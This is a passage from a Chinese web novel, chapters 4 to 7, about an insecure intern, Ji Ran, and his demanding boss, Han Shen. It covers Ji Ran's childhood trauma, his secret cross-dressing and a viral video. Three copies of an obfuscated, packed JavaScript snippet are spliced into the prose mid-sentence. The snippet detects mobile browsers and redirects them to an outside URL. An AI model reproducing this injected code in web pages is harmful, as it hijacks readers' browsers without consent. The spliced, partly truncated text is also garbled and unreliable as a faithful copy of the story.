一张手帕递了过来。 季然有些狼狈地接过,丝质手帕带来柔软的触感,仿佛人的手指划过他皮肤。 被触碰的地方变得敏感起来,每一寸感官都被无限放大,呼吸时,他甚至能闻到手帕上独属于寒深的木质香气。 不知是不是喝了酒,季然感觉自己脸颊又烧了起来。他低头攥紧手帕,心想寒深或许并不像他想象中那般冷酷无情。 4. 第 4 章 他们连夜飞回了沪市,红眼航班机舱内一片死气沉沉,寒深合眼躺在季然身旁,他似乎有些醉了,脸颊有些泛红,呼吸比平时都要粗重,领带牢牢系着脖子,看起来很不舒服的样子,但也没见他解开,可能早已习惯了这种忙碌的高压生活。 后来季然就睡着了,直到有人轻拍他手肘将他叫醒,季然迷迷糊糊地睁眼,才发现飞机已经落了地。 随后他和寒深各自打车回了家,季然到家已经是凌晨三点,犹豫了一会儿,他礼貌地发了条消息过去:老板,您到家了吗? 那边暂时没有回复,季然拿着睡衣去洗澡。20分钟后他吹完头发出来,寒深依旧没有回复他。 季然放下手机躺上床,把身体蜷缩进冰冷的被窝。 回到沪市后,季然再次忙碌起来,寒深留在公司的时间不多,他们一周见不到两次面,关系重新归于生疏。 就这样过了一周,合成智能IPO项目签约完成,季然被通知负责项目统筹和整体进度。 项目统筹…… 季然对此完全毫无经验,收到消息时人都懵了。 “别紧张,”Asher拍了拍他肩膀,湖水般翠绿的眼眸注视着他,“你的任务很简单,就是同步工作流程,如果下面的人工作滞后你就催一催,他们有困难你就解决,你解决不了就跟我或者Samuel说。” “可我轮岗实习也就一两个月,”季然有些迟疑,“万一以后我去别的部门了,这个项目要怎么办?” Asher似乎也没考虑到这点,他沉默片刻,这才说:“这件事是Samuel决定的,你如果不想做,开会前和他说清楚吧。” 季然犹豫了一会儿,朝着寒深办公室走去。 门没关,寒深背对着窗户打电话,没有看见他进来。 季然鼓起勇气敲门,得到对方允诺后进入办公室。 又过了一分多钟,寒深这才挂断电话,抬眸看了过来:“有事?” 季然话都到了嘴边,被这双眼睛注视,又什么都说不出来了。 季然是个缺乏自信的人。 很长一段时间里,他都不受人关注。 小学初中父母在外打工,并不太注重他的成绩。直到高中他考进市里的重点中学,父母才知道原来自己儿子读书还挺厉害。但也就仅此而已了。 大学季然被京大录取,父母在亲朋好友面前无比骄傲,却依旧没有肯定过他。 别人夸他成绩好,父母就会摇头说:“成绩是好,就是太内向了,比女孩儿还害羞,家里来了亲戚也不会招待。要我说啊,还是你家冬子这样的儿子好,这么小就能帮你做生意了……” 进入京大,确实一定程度上给季然带来了自信。 但是很快,这股自信就在开学后消失不见。 学校里比他优秀的人太多了,有一路拿竞赛的学术大佬,也有才华横溢的文艺天才,运动健将,他们耀眼得仿佛一颗颗星星,衬得季然这个小镇做题家暗淡无比。 季然唯一能拿得出手的就是成绩,当成绩也不能让他变得特殊,于是再次泯于众人。 他很庆幸自己能拿到丰盛offer,也很羡慕那些能够参与重大项目的正式员工。 其实仔细一想,他也没那么排斥这份工作,只是害怕自己做不好,所以才纠结反复。 比起拒绝这项工作,他更他希望有人肯定他,从背后推一把犹犹豫豫的他,告诉他你可以做到。 季然抿了抿唇,轻声道:“Samuel,Asher说是您安排我做合成智能IPO的项目统筹……” 寒深一直很忙,挂了电话又开始看资料,低着头说:“是我。” 季然顿了顿,又问:“我可以知道原因吗?” 寒深:“这会影响到你的工作态度吗?” “不会,”季然立刻摇头,犹豫了两秒,又小声补充,“只是我觉得自己不太适合。” “你不想做?”寒深问他。 “不是不想,只是……” “那就去做。”寒深从工作中抬起头,深邃的眼眸注视着他,“你不是刚来的实习生了,你来丰盛已经两个月,也跟过一个IPO项目,能力不比正式员工差。” 季然难以置信地抬起头,心脏突然跳漏了一拍,寒深是在鼓励他吗? “我……”他张了张嘴,试图说些什么。 “我不会强迫你接下这个项目,”寒深告诉他,“但如果你做不到,我会考虑换人。” 季然呆呆愣在原地,还未从刚才的欣喜中回过神来,又迅速被这一番话打入谷底。 换人……? 不行,他不能丢掉这份工作。 季然陷入焦虑之中,他咬住下唇,想要女装的念头再次冒了出来。 小时候家境不好,季然小学以前都是捡表姐的旧衣服穿,自然也穿过裙子。 乡下没这么多讲究,不少人家的孩子都会穿旧衣服,能省一点是一点。父母挣钱很辛苦,季然从小也很懂事,没张嘴要过一件新衣服。 直到季然穿着裙子去上学,当班上调皮捣蛋的男孩儿扯他裙子、嘲笑他没有小鸡鸡时,季然这才发现,原来正常男孩儿不会穿裙子啊。 那天放学回家后,季然说自己不想穿裙子了。 “裙子多漂亮啊,我们然然穿起裙子来比女孩儿还好看呢。” “爸爸妈妈养你也不容易,然然这么乖,肯定不会和别人攀比的,对不对?” “嗯!”什么也不懂的孩子重重点头。 穿裙子会被夸奖,穿裙子会让家人高兴,季然心中渐渐形成了这样一个朴素的观念。他不再在乎同学们如何看他,反正他也不想和那些讨人厌、臭烘烘的男孩儿一起玩。 就这样过了整个幼儿园,直到季然上了小学,有天他被坏男孩儿们赶出男厕所,男孩们把他关进女厕所,嬉笑着让他和女孩儿们一起玩。 愤怒的季然和男孩儿们打了一架,小学老师找到家里,家人终于不再让他穿裙子。 季然这才知道,原来男孩儿穿裙子是不正常的。原来家人夸他穿裙子好看,不过是不想给他买衣服,想要省钱而已。 此后,季然再也没穿过一次裙子,并且开始厌恶任何和裙子有关的东西。 直到他进入丰盛实习,被繁重的工作压得无法呼吸,那种渴望获得认同的念头再次涌现…… “Julian。”一道低而沉的嗓音落下。 季然猛地从回忆中抽离,对上寒深幽静的眼。 “我让你感到压力吗?” 季然抬头看向寒深,却完全无法分辨他的喜怒。 那种窒息的感觉又回来了,就像是夏天待在没有空调的闷热房间里,身体潮湿黏腻,泛起一阵细密的刺痒,仿佛有无数蚂蚁在身上爬。 季然压力很大,但他不敢说,他不能丢掉这份工作。 更何况在这些年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732684|145072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,他早已习惯所有压力都默默消化。 “没有。”季然摇头,却无意中咬住了嘴唇。 男生洁白的牙齿咬住饱满的唇肉,让这张清纯的脸上多了一分隐晦的肉.欲。 寒深目光落在他唇肉的齿印上,又很快移开,语气平静道:“既然没有,那么别在我面前咬嘴唇。” 他刚才咬唇了? 季然连忙松开牙齿,脸颊轰地一下烧了起来。 咬嘴唇是他从乡村小学转到镇上时留下的毛病,在季然9岁那年,村里的小学合并到了镇上,季然不得不去镇上上学。 乡村小学比不上镇小学,季然学习进度落后了一大截。但偏偏他长得好看,老师们都喜欢抽他回答问题,季然回答不上来,在一众目光中羞得满脸通红。 每当这时,班里的男孩儿就会发出阵阵起哄声,那时季然还不知道这代表什么,但已经本能地感到不适。他求饶地看向老师,老师却很享受这种氛围,竟又继续问他别的问题。 季然还是回答不上来,紧张得直咬嘴唇。 同学们的笑声更大了。 牺牲一个同学就能调动全班氛围,老师对此也乐见其成。 这仿佛成了班级里的一个仪式,从那之后,每当有学生打瞌睡,或者调皮捣蛋的学生不听话时,老师就会点名让季然起来,欣赏漂亮男孩儿在大家面前羞红了脸。 季然无法反抗,他甚至无法说不,只是无措地咬住嘴唇。 好在这种情况没有持续太久,不出一个月,他就能流利地回答老师提出的每一个问题,等到了期末,他已经可以拿到全科目满分,包括他第一次接触的英语。 老师点他回答问题的次数变少了,季然也渐渐放过了自己脆弱的嘴唇。 直到那年春节父母打工回家,父亲考察他学习内容,季然一时紧张,竟又下意识咬了嘴唇。 “啪——” 无情的筷子落在了他头顶。 季然脑袋“嗡”地一声响,火辣辣地疼了起来。 剧烈的疼痛让他身体发颤,死死咬住了下唇。 “咬什么嘴巴?娘们兮兮,不像个男人。”父亲却不满意极了,沉着脸训斥道,“不许咬嘴巴,也不许哭,听见没有?还敢哭?你掉一滴眼泪我就打你一下。” 季然死死憋住眼泪,可泪水却仿佛决了堤。 他狠狠挨了顿打,却也因此纠正了紧张就爱咬嘴唇的坏毛病。 这次的教训太过深刻,季然已经很久没有这样的坏习惯了。但或许是他现在太紧张,竟又无意识复现了这个动作。 “对不起,”季然一脸惶恐地低下头,几乎是急切地保证,“我以后不会了。” “我没有批评你的意思,”寒深不知什么时候走了过来,站在他面前说,“Julian,你不用向我道歉。” “对不起。”季然脑袋埋得更低了。 他陷入了无穷无尽的自责中。 季然明明觉得自己已经足够优秀,走得够远了,可现在一眨眼,仿佛又回到了过去。不管他多努力,都无法走出那个小小的乡村…… 有什么东西缠住他的身体,让他无法动弹,不能呼吸。 “Julian,放松。”一道沉而缓的声音落下,季然下巴擦过一片温热的粗粝。 季然茫然地抬起头,看见男人捏住他下巴,拇指温柔有力地拂过他嘴唇,仿佛有无限包容与耐心:“你把嘴唇咬破了。” 5. 第 5 章 直到口腔里传来铁锈味儿,季然这才意识到自己做了什么。血液迅速涌上脸颊,他连忙后退一步,几乎是慌乱地甩开了寒深的手。 “对不起!”季然羞愧难当,低下头飞快保证,“很抱歉刚才给您带来了麻烦,我以后再也不会做这种事了!” “你……”寒深目光落在他泛红的嘴唇上,似乎还想说些什么。 “Samuel,准备开会了。”Asher推门进来打断了他们的谈话。 季然又退了两步,他不敢让Asher看到他唇,只是低着头请求:“请再给我一次机会,我一定会好好工作的。” 寒深不再多言,只是交代他记得参加项目会议。 季然点头说好,逃一般离开了办公室。 看着季然落荒而逃的背影,Asher有些好奇:“你和他说了什么?” “没什么,”寒深不想谈这件事,拿起一旁的外套穿上,说,“走吧。” “你先做个准备,”Asher叫住他,表情凝重起来,“老爷子来了。” 寒深表情有一瞬的凝滞,但很快就恢复了正常,语气如常道:“我知道了。” 洗手间里,季然凑在镜子前仔细检查着嘴唇。 伤口比想象中要小很多,涂了润唇膏后就基本看不出来了。这个发现让季然松了口气,还好还好,不然他真要解释不清了。 会议很快开始,季然抱着电脑进入会议室,找了个不起眼的角落坐下。 合成科技的IPO是个大项目,光他们投行就有十几号人参与,再加上律所和审计,整个项目有几十个人。 但让季然意外的是,会议室里竟然还有一位白发老人,他占据着会议室主位,几乎不发言,但大家汇报工作、制定计划都要顾及他的态度,可见地位非同一般。 而且不知是不是错觉,季然总觉得会议上的寒深有些紧绷,神情比以往都要严肃。 直到散会后季然才得知,原来那位老者就是寒深的爷爷寒震杰,活跃在人们口中的那位世界500强董事长,丰盛投行的大股东。 寒深幼年丧父,他是被他爷爷一手养大的。 寒震杰是白手起家的典范,无数财经媒体报道过他的发家事迹,对他最多的评价是严于律己,精益求精,手段雷霆。他不仅本人厉害,儿女也各个优秀,在各大领域发光发热,被媒体盛赞虎门无弱子。 哪怕现在上了年纪,寒震杰看起来也是气势十足,目光锐利如鹰,能吓哭一个三岁小孩儿。 怪不得公司的人都这么怕他。 季然最怕和这种人打交道,会议全程都躲在一旁,竭力降低自己的存在感。 好在他确实只负责一些基础性工作,虽然职位是项目统筹,但他只负责整理和传递消息,真正做决策的还是寒深和Asher。 会议持续了很久,结束后季然照例留下整理会议室。公司没有硬性规定,只是季然习惯收拾,好方便别人下次使用。 突然间,角落里传来一道苍老威严的声音:“这件事是你失误,下次不许再犯。” 一阵令人窒息的沉默后,寒深恭敬冷淡的声音响起:“我知道了,爷爷。” 听到他们的对话,季然这才意识到留下是一个糟糕的决定。 他不敢再呆,抱着电脑转身就走。离开前,还隐约能听见身后的对话。 “我这周替你约了和许小姐见面,记得赴约。” “我工作很忙,恐怕抽不出时间。” “会面已经定下,再忙也要去。” “我尽量。” 季然回到自己工位,打开半残的电脑开始工作。 只是不知为何,他一时间有些静不下心。 他回想起会议室那番对话,突然有些惆怅起来。原来哪怕是寒深这样的人,也不是完全的自由…… 不过这样的感触只是一闪而过,和可怜路边流浪的猫咪差不多。随着项目落实,季然很快就投入工作,再也无暇顾及别的事情。 股权融资项目非常复杂,且流程漫长,持续时间普遍超过半年。当然,拿下一个项目的回报也相当可观,费率从百分之几到十几都很正常。像丰盛这样通过率100%的顶级投行,平均项目收益可以过亿。 之前寒深经办了一家超级互联网大厂的上市工作,筹备IPO时间长达13个月,经历重重困难终于上市,新股上市首日股票就涨停,市值超过千亿。丰盛的项目抽成也达到了惊人的十亿美元,是公司成立以来经手的最贵项目。 当然,这样的超级项目可遇不可求,市场、企业、运气、能力缺一不可。季然不敢奢望自己有这样的成果,踏踏实实把手里的项目做好就足够了。 但哪怕如此,这对季然来说也是莫大的挑战。 他之前只改过招股书,还从来没有跟过一个完整的IPO项目,几乎所有事情都要从头学习,每天都加班到深夜。 季然也不是没想过拒绝一部分工作,但寒深比他更忙,经常是半夜2、3点还在批复工作,第二天早上6、7点又已经开始给他安排新的工作。 实习生本就是单位里的弱势群体,再加上季然从小受“以吃苦耐劳为荣”的教育长大,就逐渐打了退堂鼓。 季然每天面无表情地穿梭在出租屋、地铁和公司之间,繁重的工作过早地磨灭了他对工作热情,让他觉得自己像是一具冰凉的尸体。 唯一的好消息是他室友要来沪市参加漫展,季然在周日和江宁约了一顿午饭。 “真可怕,”江宁在他对面坐下,一阵咋舌,“这才过去了短短两个月,你身上就已经一股班味儿。” 季然:“没办法,谁让我太爱工作了。” “还能开玩笑,看来也不算无可救药,”江宁笑了笑,又问,“对了,你之前不是说要出cos,你出了吗?” 季然有些心虚地摇头:“没有,工作太忙了。” 他确实很忙,一周前就买了裙子,现在都还没来得及穿。 江宁下午的飞机,饭后就去了机场。季然没有立刻回家,而是在附近逛了一会儿。说起来他来沪市实习都两个多月了,还没有正经逛过这座城市。 今天天气很好,天空碧蓝,气温不冷不热,午后阳光穿过武康路旁的金色梧桐,在小洋楼下留下一片斑驳光影。季然双手插进卫衣口袋,汇入了沿街散步的时髦人群。 周围有很多可以逛的地方,季然路过了几处网红打卡点,名人故居,还有一些很有意思的独立店铺。 “Julian?”经过一家裁缝店时,一道熟悉的声音突然响起。 季然抬起头,看见一个穿着桃粉色新中式上衣、戴着茶色墨镜的人冲他招手。 太时髦了。 季然看了他几秒,硬是没把人认出来。 “是我啊,”来人取下墨镜,露出一双碧绿的眼睛,“没想到在这里遇见了你。” “Asher?”季然有些意外,没想到这位意大利混血同事私下里是这种风格。 “你来逛街?”Asher往他身后看了眼,没发现同伴,于是问,“你忙吗?可不可以耽误你十分钟?” 季然:“不忙,怎么了?” Asher说:“我想做一套衣服送人,他不能过来试衣,想让你替我试一试。” 季然不太确定:“我可以吗?” “完全可以,”Asher说,“你们体型差不多,年纪也相仿,再也找不到比你更适合的人了。” 对方都这么说了,季然也没有别的事,就同意了。他试了一套新中式衣服,看Asher的表情似乎还算满意。 于是试完这套后,Asher又把他带到隔壁的西装店铺,让他再帮忙试一套西装。 他试的不是成品,只是一套刚做了打板的样衣,裁缝师用别针修改尺寸,抬头对Asher说:“最好还是本人过来,或者我们上门测量,您来的人都不一样,就算我们量体裁衣,效果肯定也不会很好。” “情况特殊嘛,请见谅一下,”Asher摸着下巴打量着季然,“不过看起来还挺好的。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732685|145072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >说完,他抬头看向前方:“Samuel,你觉得怎么样?” 寒深也在? 季然身体一僵,有些紧张地抬头。 “叮当——” 门口的风铃发出一声脆响,寒深推开法式玻璃门走了进来。 他穿着一件深灰色风衣,肩膀宽阔,后背挺拔,阳光透过梧桐给他勾勒出一圈光影,像是早些年英国电影里的男主角。 他形象太好了,季然无端有些自惭形秽,下意识站直了身体。还想若无其事地说些什么,寒深视线却掠过他落到了Asher身上。 “他怎么在这里?” 语气冷漠又疏远,仿佛根本没看见他。 “我请Julian帮我试一下衣服。”Asher说。 寒深皱眉,似乎不太赞同:“不用麻烦别人。” “十分钟而已,人家Julian都答应了。”Asher说完,把季然推到寒深面前,“我看Julian体型和岁岁差不多,你觉得这套怎么样?” 寒深目光终于落了下来,季然身体一僵,几乎是本能地屏住了呼吸。 他也不知道自己怎么了,明明刚才在Asher面前都没有这种感觉,偏偏在寒深面前就变得特别紧张,甚至完全不敢和他对视。 于是季然低下了头。 季然身高176cm,和寒深差了足足15公分。寒深站在季然身旁,一垂眼就能把他的身体尽收眼底。 季然很瘦,整个身体骨架都非常纤细。他没有做过毛发管理,但后颈和鬓角都干干净净的,低头时后颈椎骨微微凸起,寒深看见上面长着一粒淡红色小痣。就仿佛是画布上的红色颜料,手指轻轻一捻,就能晕开大片红晕。 “怎么样?”Asher碰了碰他胳膊。 寒深把目光从那粒红痣上移开,说:“太乖巧了。” Asher:“我是问你款式。” 寒深:“你以为我在说什么?” Asher打量着季然,赞同道:“也是,毕竟是毕业典礼,得挑严肃正式一些的款。” 季然有些不想待下去了,等试衣结束,他把衣服换下交给工作人员,小声道:“我先走了。” 一旁Asher正在和裁缝商量西装细节,似乎没听到他的话。 季然犹豫了两秒,直接转身走向门口。 “等等。”一旁的寒深却开口留住了他。 季然脚步一滞,继续往前走去。 “Julian,”寒深却准确叫出了他英文名字,走到他身边说,“请等一下。” 季然不得不停了下来,他缓缓吐出一口气,努力让自己的语气显得正常:“请问还有什么事?” “抱歉,耽误了你的私人时间,”寒深对他说,“作为报酬,你可以在店里挑选一套自己喜欢的西装。” 这是一家开在市中心的私人裁缝店,但布料、裁剪、工艺都很讲究,据说用的还是某奢侈品牌的同款西服面料,绝对价值不菲。 季然刚才试衣时,确实曾有一瞬的羡慕,心想要是他也能穿上这种衣服就好了。 可当寒深出现时,他却无地自容起来,为自己的想法羞愧不已。 季然从来没穿过这么好的衣服,小时候都是捡表姐的衣服穿,稍微大了会被外婆带到镇上买棉袄,因为便宜选了更薄的那件,冬天被冻得瑟瑟发抖,双手长满冻疮。 高三学校办成人礼,大部分家长都会给男孩儿置办西装,陪孩子参加这生命中的重要时刻。 季然穿的还是校服,父母工作太忙,外公外婆嫌来一趟学校花费太高。于是季然独自站在人群中,迎接着自己即将到来的十八岁。 他并不怨恨父母,穷人家庭大多如此,父母把他养大还供他上大学,他已经很感激了。 本来是不介意的,可当多年后他站在这家高级制衣店,看见有人如此用心地替自己的男孩儿置办衣物,却还是不由得失了态。 “谢谢,我不要。” 季然说完,转身离开了裁缝店。 6. 第 6 章 从小到大,季然都没有开口要过什么东西。 父母一遍又一遍向他诉说生活的艰难,钱财的来之不易,让季然过早地成为了一个大人。 父母对此乐见其成,没有家长不喜欢这种乖巧听话、让人省心的孩子。 可小孩子天生就有需求,要吃喝拉撒,要探索世界,还要父母的爱。所谓的乖巧听话、让人省心,不过是主观上压抑自己的各种需求。 季然又想起了自己工作压力太大,给父亲打电话的情景。 那时他还不是寒深下属,而在帮一位股权融资部的PM做事。丰盛派给管培生的任务本来就重,光是正式工作季然就要做到半夜,更别提还要给领导处理私事。取快递、买咖啡、甚至还帮领导遛狗接娃…… 季然第一次产生离职念头,是领导把他借给出去,让他也帮另一位上司处理私事。 当时季然手里还有另一个企业的offer,但是工资没有丰盛这么高,他拿不准主意,打电话和父亲说了这件事。 但很快,季然就后悔了这个决定。 “领导这是看重你,你要好好表现。” “没办法,大家都这样,忍忍也就过去了。” “还不是你自己选的,当初我让你回来考公务员你又不愿意。” “你怎么就这么吃不了苦呢?工作压力大很正常,谁没有工作压力啊?当年我在工地天天风吹日晒……” 季然挂断了电话。 在季然成长过程中,父亲是缺位的。就算季然主动靠近,也只能触发相应的几种模式,仿佛是一个被写好程序的NPC。 “我不知道,去找你妈。” “要不是当年家里没钱,我也是个大学生了。” “你懂什么,听我的,就得这么做。” “我砸锅卖铁把你供出来,现在终于可以享福了。” 但矛盾的是,父亲缺位的同时却也专横而独断,他就像是这个小家庭的天,偶尔一时兴起的几次管教,也让季然吃尽了苦头。 至于母亲…… 当晚,就在季然挂断父亲电话后不久,他收到了母亲发来的消息。 “你去给领导赔个礼道个歉吧,别惹人家生气了。” “你爸也是担心你,你还挂他电话,他都伤心死了,你等会儿给他道个歉吧。” “你弟弟数学英语不好,老师说要上补习班,下个月的钱你提前打一下吧。” 季然感到了一股强烈的窒息。 他明白父母只是普通人,也清楚他们生活并不容易。 可是……可是…… 季然又想起自己在裁缝店试衣的场景,他穿着一身为别人打造的西装,看起来沉着又自信,就像是那些出生在幸福家庭里,被好好养育长大的孩子。 表面光鲜亮丽,只有他自己知道,真正的自己有多糟糕。 季然回到出租屋,掏出钥匙打开出防盗门。这是一套2居室住房,客厅和饭厅被隔断变成了四人间。 开门后是一条狭窄的走廊,没有窗户,光线很差,季然住的是一个饭厅隔断的卧室,面积不到10平米,但哪怕如此,月租也恐怖的接近了三千元。 别人或许会觉得很惨,但这已经是季然过去20年里所拥有的,最舒适的居住环境了。 这是一处完全属于他的家。 进屋后,季然在床上坐了一会儿,打开衣柜拿出了JK制服。 洗过的裙子散发着一股淡淡的香味,季然手指拂过裙摆锋利的褶子,心中升起了一股奇异的宁静。 这不是当初在公司被拿错的那套,担心被人认出来,季然退货后换了另一款。 他身高176cm,但体重轻,骨架小,综合考虑后客服推荐了M码。 但还是太大了,腰部松松垮垮一圈,几乎能伸进去一只手掌。季然把手机放在桌上,打开前置摄像头按下了录制键。 他不习惯拍照,每次在镜头前都僵硬无比。季然知道自己这个毛病,也不打算正经表演,只是对着自己乱拍一通,再从中挑选有用的素材。 没想到真被他拍到了有用的东西,昏暗的房间里,男生身体跌倒在床,裙摆下是一双笔直的腿,仿佛被人推倒,引人遐想…… 季然又录了个穿西装的镜头,打算剪个变装视频。 他之前实习做过新媒体运营,会基础的拍摄和视频剪辑,很快就剪出了一个十几秒的短视频。 视频全程不露面,画质也不算高清,但胜在氛围感十足,甚至还有一定故事性。季然对此还算满意,就是电脑有些卡,让他多花了不少时间。 再三确认没有暴露隐私,季然打开社交平台发布视频。 @上班哪有不疯的: [视频]算了,你们肯定不爱看 #男生女装 · 周末过去,接下来又是忙碌的一周。寒深是个非常忙碌的上司,经常全球各地飞,在公司的时间很少。但哪怕他人不在公司,却还是要经手公司大大小小的事务,他有好几个工作助理,季然也每周都要向他提交周报,汇报项目进度。 给寒深汇报工作不是件容易的事,他要求严格,且无比敏锐,任何一点错误都会被他发现,揪出来,然后打回重做。每次提交内容季然都查了又查,不敢有丝毫懈怠。 这天傍晚6点,季然把周报发过去,左下角游戏群弹出消息,是江宁呼唤他上线打游戏。 季然有个一起玩游戏的小群,经常会约着一起玩游戏,但自从他来到丰盛实习,已经很久没碰过游戏了。今天似乎能准点儿下班,季然答应晚上上线,收拾书包下了班。 却不料刚走到电梯门口,寒深就领着一位助理风尘仆仆地走了出来。 他穿着很正式的双排扣西服,外面披着一件深灰色羊绒大衣,身上带着室外寒冷的空气,整个人看起来冷峻又威严。 季然本能地站直身体,往旁边让出了通道。 寒深目不斜视往前走去,经过季然身边时停顿一秒,说:“来我办公室一趟。” 季然:“……” 他就知道没这么容易下班。 季然重新回到工位,掏出笔记本电脑去办公室找寒深,却有人比他先进去了。 寒深似乎是刚从国外回来,手边积压了许多事,陆续有人找他汇报工作。 这一等就是一个多小时,游戏群里的小伙伴又开始呼唤他,季然有些不好意思,说自己临时加班,要晚一点儿才能回去。 又过了半个小时,寒深办公室终于空了出来,季然这才找到机会进去:“Samuel,您找我?” 寒深脱了西装外套坐在电脑后,身上的衬衫马甲非常贴身,勾得胸肌饱满鼓胀,不见一丝疲态。 他低头看手边的资料,没有抬头:“我要这周的的项目进度。” 季然提醒他:“周报我发您邮箱了。” 寒深:“请直接汇报。” 季然:“……” 回忆周报的内容,季然口头复述了一遍。 寒深没有反馈,季然猜不透上司的想法,但他不想再呆了,于是问寒深:“我现在可以走了吗?” “不可以,”寒深抬眸,语气平静道,“请你准备好了再来。” 季然:“……” %*@¥#¥&他真的要骂脏话了! 周报这种东西看和听有什么区别?交上去说不定压根儿就没人看,还得他一遍遍做汇报? 季然沉着脸离开办公室,他确实不擅长公开发言,但寒深很明显是故意为难他。季然深吸一口气强迫自己冷静,先是修改了周报中过于书面化的表达,又在脑海中多次复述演讲内容。 这段时间里寒深办公室一直有人进出,直到一个小时后季然才找到机会,他刚敲响房门,就有一个VP过来,说有急事要找寒深。季然只得让对方先进去,又回工位继续做准备。 等季然结束练习,办公室里已经没有声音,季然推门进去,却发现寒深也不见了。 他出来问还在加班的Asher:“Samuel人呢?” Asher说:“刚走,你有事找他?” “走了?”季然有些懵,“可他让我向他汇报周报啊。” “周报?”Asher抓了抓他乱糟糟的卷毛,也有些懵。 寒深出差这段时间里,公司里大部分事情都是Asher代为处理,他也跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732686|145072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着熬了好几宿,逐渐从优雅的混血儿变成了一只潦草的小狗子。 Asher骂了句脏话,抬头对季然说:“周报发我,你先下班吧。” “下班?”季然仿佛还有些不敢相信,“我可以下班了吗?” “回去吧,”Asher放轻语气,很可靠地说,“今晚早点休息,你看你这黑眼圈。” 季然有些感动,被寒深压榨久了,他已经很久没有感受到这种温暖的善意了。 “你别放在心上,”Asher向他解释,“Samuel只是太忙了,不是故意要针对你的。” 不是故意针对他?那为什非要一遍遍让他口头汇报?又在他准备了几个小时后,偏偏什么都不说就不告而别? 季然冷着脸走出丰盛大楼,在地铁上又下单了一套女装。 距离他上次发视频已经过去了5天,这期间季然忙着工作和写论文,一直没空查看社交平台。 回程路上,季然打开了新注册的小号。 他本以为只有几十个人看视频,然而当他点进个人中心,数不清的消息跳了出来。 几十万的点赞,评论收藏双双破万,连账号粉丝都涨了一万多。 [这是什么好东西!!!我大吃狂吃] [仙品!!!朕怎么不知道后宫还有这种美人儿?] [笑死,穿女装上班,看得出博主是真的疯了] [博主是第一次擦边吗?好可爱,有种初次出台的生涩感。] [他擦得很委婉,很朦胧,很羞涩,但真的好可爱!啊啊啊我好喜欢!请摩多摩多] 来自陌生网友的、数不清的鼓励和赞美,季然一遍遍翻看评论区,忍不住红了眼眶。 继续往下,季然发现了一个高频词汇。 [打卡!虎鲸老师观光团!!] [虎鲸观光团+1] [第一次见虎鲸大大点赞网红,果然是仙品] [虎鲸是谁?] 季然在评论区问。 [大大你竟然不知道吗?虎鲸可是男色博主里的TOP级大佬!] [他身材超绝,声音和气质都超级棒,我最爱的赛博Daddy!] [唯一的遗憾就是不露正脸,不过多年前虎鲸发过露下巴的照片,超级帅] [@虎鲸正主在这儿,欢迎大大入坑] 这样的大博主竟然点赞了他的视频? 季然有些好奇,点进了这个ID的主页。 粉丝一千多万,头像是本人背影,整个主页奢华又贵气,像是缅北产出的高级版杀猪盘。 虎鲸大部分视频都是西装,配文也很简单,像是是随手打上去的:职场穿搭,礼服,大衣…… 他偶尔也穿运动服,发过击剑、橄榄球等小众运动视频。 不管什么类型的视频,虎鲸都从不露脸,也极少脱衣卖肉。 他尺度最大的是一个游泳视频,仿佛化身成一条矫健的鱼,一口气游过了半个泳池。季然不会游泳,但听网友说这个动作很难,需要掌握四种泳姿才能做到这种程度。 整个视频都在水下拍摄,浅蓝的池水仿佛一层柔光滤镜,让虎鲸身体呈现出雕塑的质感,每一快肌肉都恰到好处,充满力量与美感。 季然明白虎鲸为什么有这么多粉丝了。 一个长相英俊、事业有成、品味高级还情绪稳定的成熟男人,简直就是一款专为东亚孩子定制的理想型伴侣。 但对季然来说,这是一种比缅北杀猪盘更可怕的精神麻痹。 因为这世界上根本就没有这样完美无缺的男人,也没有上位者会温柔地指引你,鼓励你,无条件的说爱你,更别提在此基础上还能XP同频,玩一些增加感情的小游戏。 而且还有一点让季然很在意,不知是不是他的错觉,他总觉得虎鲸和寒深有点儿像,不管是穿衣风格还是动作习惯,就连那暗含的掌控欲也别无二致。 他不知道虎鲸为什么要点赞他的视频,但季然也不在乎,他也不打算认识对方。 他家里一个爹,公司一个爹,实在不想上个网还有人来当他爹。 季然回到虎鲸主页,选择把他的社交账号拉黑。 7. 第 7 章 也不是没有怀疑过虎鲸就是寒深,但很快季然就打消了这一疑虑。 他们声音并不一样,而且背景也是天差地别。虽然都是有钱人,但虎鲸明显是继承家业的富二代,寒深却有一份自己的事业,工作非常忙碌,怎么可能还有时间在网上发视频? 就算他真有时间,但以寒深这种高傲的性格,季然也不认为对方会给他这种擦边小博主点赞。 虽然季然自己就是搞擦边的,但对于那种随便点赞擦边视频的账号,他还是没有什么好感。 不如眼不见为净。 季然没有在这件事情上纠结太久,他的生活重心还是现实中的工作。 时间来到十二月,季然变得更加忙碌了。 